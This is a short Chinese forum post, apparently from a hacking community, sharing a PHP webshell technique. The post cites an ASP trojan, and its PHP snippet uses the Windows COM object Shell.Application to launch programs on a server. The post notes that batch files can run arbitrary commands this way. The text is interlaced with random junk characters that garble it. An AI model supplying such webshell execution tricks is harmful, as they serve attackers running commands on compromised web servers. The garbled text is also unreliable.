关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。. z: s* w f: o g' O
2 M; J/ V3 e0 l+ I/ E+ z
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法5 u' c" K& Y- ?- ?" F! Y7 e# |! n
) U A& B4 a4 W8 ?<?php
) ^ l9 R5 Y' | K- t, K% X$wsh = new COM('Shell.Application') or die("Shell.Application");0 L( m d, h2 x" Z* h
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");; |1 m# T: z8 f, F- T4 |2 w3 s
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。+ I' V3 t3 p% G' s8 @1 ^# ]1 U. q
?># o% k e3 ~) _) K! ~
1 V9 x: g0 ^; r2 o& h2 ?xp+APMServ5.2.0测试通过。, |- l% e9 _0 f+ {
|